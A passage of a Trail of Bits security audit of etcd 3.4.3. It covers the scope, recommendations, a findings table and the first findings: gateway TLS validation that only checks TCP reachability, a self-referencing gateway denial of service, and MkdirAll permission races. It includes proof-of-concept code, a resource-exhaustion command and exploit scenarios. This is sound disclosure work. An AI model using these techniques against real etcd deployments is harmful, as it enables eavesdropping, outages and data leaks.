conducted this assessment over the course of four\n \nperson-weeks with four engineers working from release 3.4.3 of the \netcd-io/etcd\n \nrepository.\n \n \nIn the first week of the assessment, Trail of Bits set up local environments for building and\n \ntesting the etcd system. During this time, we performed a mixture of manual and\n \nautomated review. Automated review consisted of running various static analysis tools,\n \nsuch as \nerrcheck\n\n, \nineffassign\n\n, and \ngo-sec\n\n. Results were subsequently reviewed and\n \ntriaged as necessary. Manual review focused on gaining familiarity with the implementation\n \ndetails of etcd, such as configuration options, default settings, service discovery, RAFT\n \nconsensus, and leader election.\n \n \nDuring the second week, we continued our manual review with the same targets, plus\n \ncoverage of the etcd proxy and gateway. We also began instrumenting custom tooling. On\n \nthe automated side, \ngoogle/gofuzz\n\n and \ndvyukov/go-fuzz\n\n testing harnesses were\n \ndeveloped to test the WAL file implementation (see \nAppendix C. Fuzzing results\n).\n \n \nOur assessment revealed a total of 17 findings ranging from high- to informational-severity.\n \nOverall, the etcd codebase represents a mature and heavily adopted product. However,\n \nthere are many edge-cases not caught by the current test suite, and there are areas where\n \nthe expected functionality of etcd does not match its implementation. These gaps can\n \naffect the security posture of the system since etcd gateway users may make inaccurate\n \nassumptions.\n \n \n \nExamples: \nTOB-ETCD-001: Gateway TLS endpoint validation only confirms TCP reachability\n,\n \nor \nTOB-ETCD-004: Gateway TLS endpoint validation only applies to endpoints detected in\n \nDNS SRV records\n. Another example can be seen in the WAL implementation, where each\n \nWAL entry has semi-trusted metadata, resulting in a potential crash of quorum instances if\n \na malicious leader propagates malicious entries. See further details in \nTOB-ETCD-006: An\n \nentry with large index causes panic in WAL.ReadAll method\n.\n \n \nTo improve the security posture of etcd, Trail of Bits recommends first addressing the\n \nfindings in this report, prioritizing short-term recommendations, and integrating long-term\n \nrecommendations into future releases. Once fixes are applied and recommendations\n \naddressed, a future assessment should be performed to ensure the fixes are adequate and\n \ndo not introduce additional security risks.\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 2\n \n After the assessment was completed, the Etcd team followed-up with the assessment team\n \nto review findings related to the gateway. Further details about how they were addressed\n \nwere included in \nAppendix D\n.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 3\n \n P r o j e c t D a s h b o a r d\n \nApplication Summary\n \nName\n \nEtcd\n \nVersion\n \nRelease 3.4.3\n \nType\n \nDatastore\n \nPlatforms\n \nGo\n \n \nEngagement Summary\n \nDates\n \nJanuary 11–21, 2020\n \nMethod\n \nWhitebox\n \nConsultants Engaged\n \n2\n \nLevel of Effort\n \n4 person-weeks\n \n \nVulnerability Summary\n \n \nTotal High-Severity Issues\n \n1\n \n◼\n \nTotal Medium-Severity Issues\n \n6\n \n◼ ◼ ◼ ◼ ◼ ◼\n \nTotal Low-Severity Issues\n \n6\n \n◼ ◼ ◼ ◼ ◼ ◼\n \nTotal Informational-Severity Issues\n \n4\n \n◼ ◼ ◼ ◼\n \nTotal\n \n17\n \n \n \n \nCategory Breakdown\n \nData Validation\n \n5\n \n◼ ◼ ◼ ◼ ◼\n \nAccess Controls\n \n2\n \n◼ ◼\n \nCryptography\n \n4\n \n◼ ◼ ◼ ◼\n \nLogging\n \n2\n \n◼ ◼\n \nAuthentication\n \n1\n \n◼\n \nData Exposure\n \n1\n \n◼\n \nDenial of Service\n \n1\n \n◼\n \nConfiguration\n \n1\n \n◼\n \nTotal\n \n17\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 4\n \n E n g a g e m e n t G o a l s\n \nThe engagement was scoped to provide a security assessment of etcd as a whole.\n \n \nSpecifically, we sought to answer the following questions:\n \n \n●\nIs there any way an attacker could impede service discovery?\n \n●\nIs there any way a malicious etcd leader could impact its peers?\n \n●\nAre the filesystem permissions used by etcd secure?\n \n●\nAre there any major problems with the use of cryptography in etcd?\n \n●\nAre there any correctness issues in error-handling within etcd?\n \n●\nDoes etcd provide the necessary logging for sensitive operations?\n \n●\nAre there any major concerns with the use of the gateway and proxy functionality of\n \netcd?\n \nC o v e r a g e\n \nAuthentication and authorization. \nThe methods used to authenticate and authorize\n \nclients with etcd were reviewed, including the TLS authentication assumptions of the\n \nancillary proxies and gateways.\n \n \n \nFilesystem permissions.\n We reviewed assumptions around file and directory permissions,\n \nfocusing on enforcement and validation of permissions, including the impact of package\n \nimplementation semantics on these validations.\n \n \nCryptography. \nWe reviewed TLS authentication methods and assumptions, focusing on\n \nclient-facing communications.\n \n \nDefault settings.\n The defaults used by etcd were reviewed for their impact on the system’s\n \nsecurity posture.\n \n \nData validation.\n We reviewed data validation throughout the system, focusing on areas\n \nwhere data from external sources is retrieved and subsequently parsed, such as service\n \ndiscovery and RAFT operations.\n \n \nError-handling.\n Error-handling was reviewed to identify areas where etcd could fail in an\n \nunexpected way, or otherwise operate in an unintended fashion. Additional focus was\n \nplaced on packages used in critical locations which may be modified later, such as packages\n \nassisting in WAL file operations.\n \n \nLogging.\n We reviewed logging, focusing on correctness of reporting and ability to log and\n \nimplement alerting on security-critical events such as authentication.\n \n \nService discovery.\n Our review of service discovery operations focused on problems that\n \ncould prevent peers from successfully completing discovery, or could otherwise impact the\n \nstability of discovered peers.\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 5\n \n \nWAL operations.\n The package used to interact with WAL files was reviewed for problems\n \nthat could lead to the destabilization of RAFT operations, or any of the peers attempting to\n \nform consensus.\n \n \nGateway and proxy.\n The gateway and proxy functionalities of etcd were reviewed to\n \nensure operations such as TLS connection handling and load balancing were correct. We\n \nfocused primarily on issues such as resource exhaustion, authentication, and TOCTOU.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 6\n \n R e c o m m e n d a t i o n s S u m m a r y\n \nThis section aggregates all the recommendations made during the engagement. Short-term\n \nrecommendations address the immediate causes of issues. Long-term recommendations\n \npertain to the development process and long-term design goals.\n \nS h o r t T e r m\n \nWhen the trusted CA flag is provided to the etcd gateway, ensure dialing uses a TLS\n \nconnection instead of a TCP connection.\n This will ensure all connections from gateway to\n \nendpoint are appropriately authenticated. \nTOB-ETCD-001\n \n \nThe gateway should filter endpoints to exclude those that resolve to the listening\n \naddress of the gateway.\n This will help ensure circular references are more difficult to\n \nconfigure by users. \nTOB-ETCD-002\n \n \nWhen using utilities such as \nos.MkdirAll\n\n, check all directories in the path and\n \nvalidate their owner and permissions before performing operations on those that\n \nalready exist.\n This will help avoid situations in which sensitive information is written to a\n \npre-existing attacker-controlled path. \nTOB-ETCD-003\n \n \nEnsure TLS authentication is applied to endpoints provided in the \n--endpoints\n\n flag on\n \nthe etcd gateway.\n This will ensure consistent functionality across both endpoint discovery\n \nmethods. \nTOB-ETCD-004\n \n \nAuthenticate each endpoint using the provided CA certificate upon each connection\n \nestablished by the etcd gateway.\n This will help prevent any endpoint that’s only been\n \nauthenticated once from being trusted. \nTOB-ETCD-005\n \n \nEnsure proper size checks on the final \ne.Index-w.start.Index-\n\n1\n\n in each WAL entry,\n \nand gracefully error if the size is too large for the given slice.\n This will avoid a hard\n \ncrash if an invalid WAL entry is encountered. \nTOB-ETCD-006\n \n \nProvide a size check on the \ndecodeRecord\n\n method and gracefully exit if the frame size\n \nis larger than the maximum slice length.\n This will prevent crashing due to out-of-bounds\n \nindexing of the allocated array if the WAL entry has been mutated. \nTOB-ETCD-007\n \n \nConsider improving the password requirements to a higher minimum character\n \namount. \nThis will make it harder for an attacker to brute-force authentication of an etcd\n \nuser. \nTOB-ETCD-008\n \n \nEnsure an appropriate error is logged when an authentication attempt has failed due\n \nto a client certificate authentication.\n Ideally, each authentication method should\n \ngenerate unique log entries to allow operators to differentiate interactions. \nTOB-ETCD-009\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 7\n \n Ensure the \ndbCompactionKeysCounter\n\n variable properly represents the etcd\n \noperations that have occurred.\n This will help ensure users can properly track and alert\n \non metrics. \nTOB-ETCD-010\n \n \nDo not accept a negative value of automatic compaction retention.\n Data validation\n \nshould ensure the provided values are within the expected range. \nTOB-ETCD-011\n \n \nDo not store credentials in the WAL.\n Instead, consider having a centralized location for\n \ncredentials that can be hardened appropriately, limiting the attack surface for sensitive\n \ninformation. \nTOB-ETCD-012\n \n \nInitialize a decoder in the \nwal.Create function\n\n, so the WAL* may decode information\n \nin the \nwal.ReadAll\n\n function.\n This will prevent users from encountering an error due to an\n \nuninitialized decoder. \nTOB-ETCD-013\n \n \nEnsure proper validation for all values retrieved and parsed from outside sources.\n \nThis will help reduce the effect of a third-party system compromise on the integrity of etcd.\n \nTOB-ETCD-014\n \n \nDisable weak ciphers and require a special flag to enable them.\n By default, only enable\n \nthe modern ciphers as recommended by the \nMozilla Security/Server side document\n.\n \nTOB-ETCD-015\n \n \nDeprecate the insecure defaults and promote more secure usage of etcd. \nFor\n \nexample, list all insecure options at once during startup, describing the problems and\n \nsuggesting fixes, and linking to a documentation page that would show how to set up etcd\n \nsecurely. \nTOB-ETCD-016\n \n \nReview configurations that use InsecureSkipVerify.\n Use insecure TLS selectively and\n \nwith caution. There are few purposes for which unverified certificates should be supported.\n \nTOB-ETCD-017\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 8\n \n L o n g T e r m\n \nEnsure all dialers are using the appropriate features for their expected protocols.\n \nConsider indexing the supported protocols—where they are used and how they are\n \nenforced—in a centralized fashion. \nTOB-ETCD-001\n \n \nEnsure error values are appropriately reported instead of silently failing.\n Consider\n \nimplementing a generic graceful exit routine. \nTOB-ETCD-002\n \n \nEnumerate files and directories for their expected permissions overall, and build\n \nvalidation to ensure appropriate permissions are applied before creation and upon\n \nuse.\n Ideally, this validation should be centrally defined and used throughout the\n \napplication as a whole. \nTOB-ETCD-003\n \n \nEnsure TLS connections are always used for gateway endpoints where the protocol\n \nschema is HTTPS.\n This will force a fast failure for an endpoint that cannot successfully\n \nauthenticate with the gateway, and ensure the client only connects to an authenticated\n \nbackend. \nTOB-ETCD-004\n \n \nConsider implementing periodic endpoint validation to ensure all specified endpoints\n \nare not only reachable, but also authenticated.\n This will allow proactive detection of\n \nunhealthy endpoints, as well as those no longer able to successfully authenticate with the\n \ngiven configuration. \nTOB-ETCD-005\n \n \nRestructure WALs to be limited by entry index and size instead of just size.\n This will\n \nhelp prevent mutated entries from inducing a panic when parsing the WAL. \nTOB-ETCD-006\n \n \nConsider building a method to identify expected ranges for valid values into the\n \nformat for the WAL.\n This will assist in additional validations of the WAL file, allowing the\n \ndetection of corruption or manipulation. \nTOB-ETCD-007\n \n \nConsider adopting a specific standard for password requirements, such as NIST SP\n \n800-204, and enforce it across the codebase.\n \nTOB-ETCD-008\n \n \nValidate whether all significant program paths are logged distinguishably and\n \ndocumented appropriately.\n This will help ensure proper logging and detections can be\n \nbuilt on each authentication method. \nTOB-ETCD-009\n \n \nExpand unit tests to include testing metrics endpoints to ensure changes to the\n \nmetrics endpoints still produce the expected behavior. \nThis will prevent future\n \nintroduction of breaking changes and ensure the stability of loggable metrics.\n \nTOB-ETCD-010\n \n \nAccount for negative values provided as the auto compaction value.\n This should also\n \nbe tested within the corresponding \nTestAutoCompactionModeParse\n\n test. \nTOB-ETCD-011\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 9\n \n Check if file permissions used by etcd are within an acceptable range.\n If the\n \npermissions are too broad, etcd should exit with an error for further investigation.\n \nTOB-ETCD-012\n \n \nAdd validation before the decoder is accessed in WAL functions. \nIf the decoder is not\n \ninitialized, error out or initialize appropriately. \nTOB-ETCD-013\n \n \nConsider consolidating validation routines into a specific set of helper libraries used\n \nacross the codebase.\n Avoid using \nstrconv.Atoi\n\n without validating the parsed value.\n \nTOB-ETCD-014\n \n \nDetermine the most popular ciphers used by etcd clients and consider removing\n \nweak ciphers from support.\n This will help prevent clients from accidentally configuring an\n \ninsecure cipher when using etcd. \nTOB-ETCD-015\n \n \nMake etcd secure by default, by requiring a minimally secure launch configuration.\n \nTo ease development, testing, and debugging, consider providing a simpler, but less secure\n \nconfiguration under\n --insecure\n\n. \nTOB-ETCD-016\n \n \nAvoid use of insecure TLS configurations altogether.\n Verify certificates in all scenarios\n \nby default. \nTOB-ETCD-017\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 10\n \n F i n d i n g s S u m m a r y\n \n#\n \nTitle\n \nType\n \nSeverity\n \n1\n \nGateway TLS endpoint validation only\n \nconfirms TCP reachability\n \nCryptography\n \nMedium\n \n2\n \nThe gateway can include itself as an\n \nendpoint, resulting in resource\n \nexhaustion\n \nDenial of\n \nService\n \nHigh\n \n3\n \nDirectories created via os.MkdirAll are not\n \nchecked for permissions\n \nAccess Controls\n \nMedium\n \n4\n \nGateway TLS authentication only applies\n \nto endpoints detected in DNS SRV records\n \nCryptography\n \nMedium\n \n5\n \nTOCTOU of gateway endpoint\n \nauthentication\n \nAuthentication\n \nLow\n \n6\n \nAn entry with large index causes panic in\n \nWAL.ReadAll method\n \nData Validation\n \nMedium\n \n7\n \nA large slice causes panic in\n \ndecodeRecord method\n \nData Validation\n \nMedium\n \n8\n \nNo minimum password length\n \nAccess Controls\n \nMedium\n \n9\n \nInaccurate logging of authentication\n \nattempts for users with CN-based auth\n \nonly\n \nLogging\n \nLow\n \n10\n \nThe “Total number of db keys compacted”\n \nmetric is never changed\n \nLogging\n \nInformational\n \n11\n \nAuto compaction retention can be set to\n \nnegative value causing a compaction loop\n \nor a crash\n \nData Validation\n \nLow\n \n12\n \nUser credentials are stored in WAL logs in\n \nplaintext\n \nData Exposure\n \nLow\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 11\n \n 13\n \nNull pointer exception when calling\n \nwal.Readall after wal.Create\n \nData Validation\n \nInformational\n \n14\n \nSubmitting a -1 for cluster node size\n \nresults in an index out-of-bound panic\n \nduring service discovery\n \nData Validation\n \nLow\n \n15\n \nInsecure ciphers are enabled by default\n \nCryptography\n \nLow\n \n16\n \netcd is insecure by default\n \nConfiguration\n \nInformational\n \n17\n \nUse of TLS InsecureSkipVerify\n \nCryptography\n \nInformational\n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 12\n \n 1 . G a t e w a y T L S e n d p o i n t v a l i d a t i o n o n l y c o n f i r m s T C P r e a c h a b i l i t y\n \nSeverity: Medium\nDifficulty: Low\n \nType: Cryptography\nFinding ID: TOB-ETCD-001\n \nTarget: \npkg/transport/tls.go, etcdmain/util.go\n \n \n \nDescription\n \nSecure endpoint validation is performed by the \netcd gateway start\n\n command when the\n \n--discovery-srv\n\n flag is enabled. However, as currently implemented, it only validates TCP\n \nreachability, effectively allowing connections to an endpoint that doesn't accept TLS\n \nconnections through the HTTPS URL.\n \n \nThe \ntransport.ValidateSecureEndpoints\n\n function (Figure TOB-ETCD-001.1) is used to\n \nperform validation of formatted HTTPS endpoints within the \netcdmain.discoverEndpoints\n \nfunction (Figure TOB-ETCD-001.2) used by both \netcdmain.mustNewClient\n\n and\n \netcdmain.startGateway\n\n.\n \n \n \nThe validation works in two steps. First, if the endpoint does not start with HTTPS, the\n \nendpoint is not considered secure. Second, if the address is unreachable (with HTTPS\n \nstripped from the beginning), it is considered insecure. Because of these two steps, if you\n \nprepend HTTPS to any address listening for TCP (but not TLS) connections, validation will\n \nsucceed. The provided certificate file and server name are ignored when performing the\n \nDial\n\n operation because the \nnet.Dial\n\n function does not initiate a TLS handshake—it only\n \nestablishes a TCP connection to the endpoint.\n \n \nThe proof of concept in Figure TOB-ETCD-001.3 is an extracted example of how\n \ntransport.ValidateSecureEndpoints\n\n is used within the \netcdmain.discoverEndpoints\n \nfunction. The certificate authority (CA) certificate used in the proof of concept can also be\n \nseen in Figure TOB-ETCD-001.4. Figures TOB-ETCD-001.5–6 show a Python simple HTTP\n \nserver (not using TLS) and the output of the proof of concept (PoC). As the PoC output\n \nshows, it successfully validated the HTTPS-formatted URL to the simple HTTP server, and to\n \nGoogle’s HTTP endpoint.\n \n \n// ValidateSecureEndpoints scans the given endpoints against tls info, returning only those\n \n// endpoints that could be validated as secure.\n \nfunc\n\n \n\nValidateSecureEndpoints\n\n(\n\ntlsInfo\n\n \n\nTLSInfo\n\n, \n\neps\n\n []\n\nstring\n\n) ([]\n\nstring\n\n, \n\nerror\n\n) {\n \nt, err \n\n:=\n\n \n\nNewTransport\n\n(tlsInfo, \n\n5\n\n*time.Second)\n \nif\n\n err != \n\nnil\n\n {\n \nreturn\n\n \n\nnil\n\n, err\n \n}\n \nvar\n\n errs []\n\nstring\n \nvar\n\n endpoints []\n\nstring\n \nfor\n\n _, ep \n\n:=\n\n \n\nrange\n\n eps {\n \nif\n\n !strings.\n\nHasPrefix\n\n(ep, \n\n\"https://\"\n\n) {\n \nerrs = \n\nappend\n\n(errs, fmt.\n\nSprintf\n\n(\n\n\"\n\n%q\n\n is insecure\"\n\n, ep))\n \ncontinue\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 13\n \n }\n \nconn, cerr \n\n:=\n\n t.\n\nDial\n\n(\n\n\"tcp\"\n\n, ep[\n\nlen\n\n(\n\n\"https://\"\n\n):])\n \nif\n\n cerr != \n\nnil\n\n {\n \nerrs = \n\nappend\n\n(errs, fmt.\n\nSprintf\n\n(\n\n\"\n\n%q\n\n failed to dial (\n\n%v\n\n)\"\n\n, ep, cerr))\n \ncontinue\n \n}\n \nconn.\n\nClose\n\n()\n \nendpoints = \n\nappend\n\n(endpoints, ep)\n \n}\n \nif\n\n \n\nlen\n\n(errs) != \n\n0\n\n {\n \nerr = fmt.\n\nErrorf\n\n(\n\n\"\n\n%s\n\n\"\n\n, strings.\n\nJoin\n\n(errs, \n\n\",\"\n\n))\n \n}\n \nreturn\n\n endpoints, err\n \n}\n \nFigure TOB-ETCD-001.1: The \nValidateSecureEndpoints\n\n function definition\n \n(\npkg/transport/tls.go#L23-L49\n\n).\n \n \n...\n \n// confirm TLS connections are good\n \ntlsInfo \n\n:=\n\n transport.TLSInfo{\n \nTrustedCAFile\n\n: ca,\n \nServerName\n\n: dns,\n \n}\n \n \n \nif\n\n lg != \n\nnil\n\n {\n \nlg.\n\nInfo\n\n(\n \n\"validating discovered SRV endpoints\"\n\n,\n \nzap.\n\nString\n\n(\n\n\"srv-server\"\n\n, dns),\n \nzap.\n\nStrings\n\n(\n\n\"endpoints\"\n\n, endpoints),\n \n)\n \n} \n\nelse\n\n {\n \nplog.\n\nInfof\n\n(\n\n\"validating discovered endpoints \n\n%v\n\n\"\n\n, endpoints)\n \n}\n \n \n \nendpoints, err = transport.\n\nValidateSecureEndpoints\n\n(tlsInfo, endpoints)\n \n...\n \nFigure TOB-ETCD-001.2: The snippet of \ndiscoverEndpoints\n\n where \nValidateSecureEndpoints\n \nis used (\netcdmain/util.go#L51-L67\n\n).\n \n \npackage\n\n main\n \n \nimport\n\n (\n \n\"fmt\"\n \n\"go.etcd.io/etcd/pkg/transport\"\n \n)\n \n \nfunc\n\n \n\nmain\n\n() {\n \n// Amazon CA\n \nca \n\n:=\n\n \n\n\"./ca.crt\"\n \ndns \n\n:=\n\n \n\n`amazon.com`\n \n \nres, err \n\n:=\n\n transport.\n\nValidateSecureEndpoints\n\n(\n \ntransport.TLSInfo{\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 14\n \n TrustedCAFile: ca,\n \nServerName: dns,\n \n},\n \n[]\n\nstring\n\n{\n\n\"http://0.0.0.0:8000\"\n\n, \n\n\"https://0.0.0.0:8000\"\n\n,\n \n \n\n\"http://www.google.com:80\"\n\n, \n\n\"https://www.google.com:80\"\n\n})\n \n \n// Print the output\n \nfmt.\n\nPrintln\n\n(res, err)\n \n}\n \nFigure TOB-ETCD-001.3: A proof of concept showing the failure to validate an endpoint as using\n \nHTTPS.\n \n \n-----BEGIN CERTIFICATE-----\n \nMIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsF\n \nADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6\n \nb24gUm9vdCBDQSAxMB4XDTE1MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTEL\n \nMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv\n \nb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJ4gHHKeNXj\n \nca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgHFzZM\n \n9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qw\n \nIFAGbHrQgLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6\n \nVOujw5H5SNz/0egwLX0tdHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L\n \n93FcXmn/6pUCyziKrlA4b9v7LWIbxcceVOF34GfID5yHI9Y/QCB/IIDEgEw+OyQm\n \njgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC\n \nAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3DQEBCwUA\n \nA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDI\n \nU5PMCCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUs\n \nN+gDS63pYaACbvXy8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vv\n \no/ufQJVtMVT8QtPHRh8jrdkPSHCa2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU\n \n5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2xJNDd2ZhwLnoQdeXeGADbkpy\n \nrqXRfboQnoZsG4q5WTP468SQvvG5\n \n-----END CERTIFICATE-----\n \nFigure TOB-ETCD-001.4: An arbitrary Amazon CA certificate.\n \n \n$ python3 -m http.server\n \nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n \nFigure TOB-ETCD-001.3: A basic HTTP server.\n \n \n$ go run main.go\n \n \n[https://0.0.0.0:8000 https://www.google.com:80] \"http://0.0.0.0:8000\" is\n \ninsecure,\"http://www.google.com:80\" is insecure\n \nFigure TOB-ETCD-001.5: The proof of concept output from Figure TOB-ETCD-001.1.\n \n \nExploit Scenario\n \nAn etcd endpoint is misconfigured without client TLS authentication behind a gateway.\n \nBecause the gateway fails to properly perform TLS authentication, the server is added as a\n \nvalid endpoint, and a client connects without TLS authentication. The gateway selects the\n \nclient-TLS-disabled endpoint, and client data is transmitted in the clear.\n \n \nRecommendation\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 15\n \n Short term, when the trusted CA flag is provided to the etcd gateway, ensure dialing uses a\n \nTLS connection instead of a TCP connection. This will ensure all connections from gateway\n \nto endpoint are appropriately authenticated.\n \n \nLong term, ensure all dialers are using the appropriate features for their expected\n \nprotocols. Consider indexing the supported protocols—where they are used and how they\n \nare enforced—in a centralized fashion.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 16\n \n 2 . T h e g a t e w a y c a n i n c l u d e i t s e l f a s a n e n d p o i n t , r e s u l t i n g i n r e s o u r c e\n \ne x h a u s t i o n\n \nSeverity: High\nDifficulty: High\n \nType: Denial of Service\nFinding ID: TOB-ETCD-002\n \nTarget: \netcdmain/gateway.go\n \n \nDescription\n \nThe etcd gateway is a simple TCP proxy to allow for basic service discovery and access.\n \nHowever, it is possible to include the gateway address as an endpoint. This results in a\n \ndenial of service, since the endpoint can become stuck in a loop of requesting itself until\n \nthere are no more available file descriptors to accept connections on the gateway.\n \n \n./etcd gateway start --endpoints=http://127.0.0.1:23790\n \nFigure TOB-ETCD-002.1: Starting the gateway with the endpoints flag including the gateway\n \naddress and port.\n \n \n{\"level\":\"info\",\"ts\":1579890333.565956,\"caller\":\"tcpproxy/userspace.go:90\",\n\"msg\":\"ready to proxy client requests\",\"endpoints\":[\"127.0.0.1:23790\"]}\n \naccept tcp 127.0.0.1:23790: accept: too many open files\n \nFigure TOB-ETCD-002.2: The error message when the etcd gateway crashes (recovered through a\n \nbasic \nfmt.Printf\n\n instruction at the point of error, due to error-logging not capturing the error).\n \n \nExploit Scenario\n \nAn attacker compromises the DNS server used to return \nSRV\n\n records for an etcd gateway.\n \nThe attacker configures the DNS server to return the address of each gateway, causing the\n \ngateways to connect to themselves and exhaust file descriptor resources.\n \n \nRecommendation\n \nShort term, the gateway should filter endpoints to exclude those that resolve to the\n \nlistening address of the gateway. This will help ensure circular references are more difficult\n \nfor users to configure.\n \n \nLong term, ensure error values are appropriately reported instead of silently failing.\n \nConsider implementing a generic graceful exit routine.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 17\n \n 3 . D i r e c t o r i e s c r e a t e d v i a o s . M k d i r A l l a r e n o t c h e c k e d f o r p e r m i s s i o n s\n \nSeverity: Medium\nDifficulty: High\n \nType: Access Controls\nFinding ID: TOB-ETCD-003\n \nTarget: \nM\n\nultiple locations\n \n \nDescription\n \netcd creates certain directory paths with restricted access permissions (0700) by using the\n \nos.MkdirAll\n\n. This function does not perform any permission checks when a given\n \ndirectory path exists already. Then an attacker can create a directory used by etcd with\n \nbroad permissions before etcd attempts the same, which allows the attacker to read\n \nsensitive data produced by etcd’s operations.\n \n \nThis happens in the following places:\n \n \n●\nIn the \nTouchDirAll\n\n utility function, which also checks if the end directory is writable\n \n(Figure TOB-ETCD-003.1). However, if a user controls the directory, they might\n \nchange its permission after \nTouchDirAll\n\n checks it. This function is used for actions\n \nsuch as snapshot and WAL directories creation.\n \n●\nIn the \nSelfCert\n\n function (Figure TOB-ETCD-003.2) used for \nclientCerts\n\n directory\n \ncreation.\n \n●\nIn the \nstartProxy\n\n function (Figure TOB-ETCD-003.3) for \nproxy\n\n directory creation.\n \n \nfunc\n\n \n\nTouchDirAll\n\n(\n\ndir\n\n \n\nstring\n\n) \n\nerror\n\n {\n \n// If path is already a directory, MkdirAll does nothing\n \n// and returns nil.\n \nerr \n\n:=\n\n os.\n\nMkdirAll\n\n(dir, PrivateDirMode)\n \nif\n\n err != \n\nnil\n\n {\n \n// if mkdirAll(\"a/text\") and \"text\" is not\n \n// a directory, this will return syscall.ENOTDIR\n \nreturn\n\n err\n \n}\n \nreturn\n\n \n\nIsDirWriteable\n\n(dir)\n \n}\n \nFigure TOB-ETCD-003.1: The \nTouchDirAll\n\n function definition\n \n(\npkg/fileutil/fileutil.go#L48-L58\n\n).\n \n \nfunc\n\n \n\nSelfCert\n\n(\n\nlg\n\n *\n\nzap\n\n.\n\nLogger\n\n, \n\ndirpath\n\n \n\nstring\n\n, \n\nhosts\n\n []\n\nstring\n\n, \n\nadditionalUsages\n \n...\n\nx509\n\n.\n\nExtKeyUsage\n\n) (\n\ninfo\n\n \n\nTLSInfo\n\n, \n\nerr\n\n \n\nerror\n\n) {\n \nif\n\n err = os.\n\nMkdirAll\n\n(dirpath, \n\n0700\n\n); err != \n\nnil\n\n {\n \nreturn\n \n}\n \ninfo.Logger = lg\n \n \ncertPath \n\n:=\n\n filepath.\n\nJoin\n\n(dirpath, \n\n\"cert.pem\"\n\n)\n \nkeyPath \n\n:=\n\n filepath.\n\nJoin\n\n(dirpath, \n\n\"key.pem\"\n\n)\n \n \n\n// (...) - rest of the code\n \nFigure TOB-ETCD-003.2: The \nSelfCert\n\n function definition\n \n(\npkg/transport/listener.go#L115-L123\n\n).\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 18\n \n \n \ncfg.ec.Dir = filepath.\n\nJoin\n\n(cfg.ec.Dir, \n\n\"proxy\"\n\n)\n \nerr = os.\n\nMkdirAll\n\n(cfg.ec.Dir, fileutil.PrivateDirMode)\n \nif\n\n err != \n\nnil\n\n {\n \nreturn\n\n err\n \n}\n \n \nvar\n\n peerURLs []\n\nstring\n \nclusterfile \n\n:=\n\n filepath.\n\nJoin\n\n(cfg.ec.Dir, \n\n\"cluster\"\n\n)\n \n \nb, err \n\n:=\n\n ioutil.\n\nReadFile\n\n(clusterfile)\n \nFigure TOB-ETCD-003.3: The \nstartProxy\n\n function definition (\netcdmain/etcd.go#L360-L369\n\n).\n \n \nExploit Scenario\n \nEve has unprivileged access to Alice's server, where an etcd server will be deployed or\n \nupdated to a new version that introduces new directories/paths. Eve knows that etcd will\n \nuse certain directory paths, so they create them with \n0777\n\n permissions. This allows Eve to\n \nprevent etcd from running correctly or (in some cases) make etcd leak sensitive\n \ninformation.\n \n \nRecommendation\n \nShort term, when using utilities such as \nos.MkdirAll\n\n, check all directories in the path and\n \nvalidate their owner and permissions before performing operations on them. This will help\n \navoid situations where sensitive information is written to a pre-existing attacker-controlled\n \npath.\n \n \nLong term, enumerate files and directories for their expected permissions overall, and\n \nbuild validation to ensure appropriate permissions are applied before creation and upon\n \nuse. Ideally, this validation should be centrally defined and used throughout the application\n \nas a whole.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 19\n \n 4 . G a t e w a y T L S a u t h e n t i c a t i o n o n l y a p p l i e s t o e n d p o i n t s d e t e c t e d i n D N S\n \nS R V r e c o r d s\n \nSeverity: Medium\nDifficulty: Low\n \nType: Cryptography\nFinding ID: TOB-ETCD-004\n \nTarget: \netcdmain/gateway.go\n \n \nDescription\n \nWhen starting a gateway, TLS authentication will only be attempted on endpoints 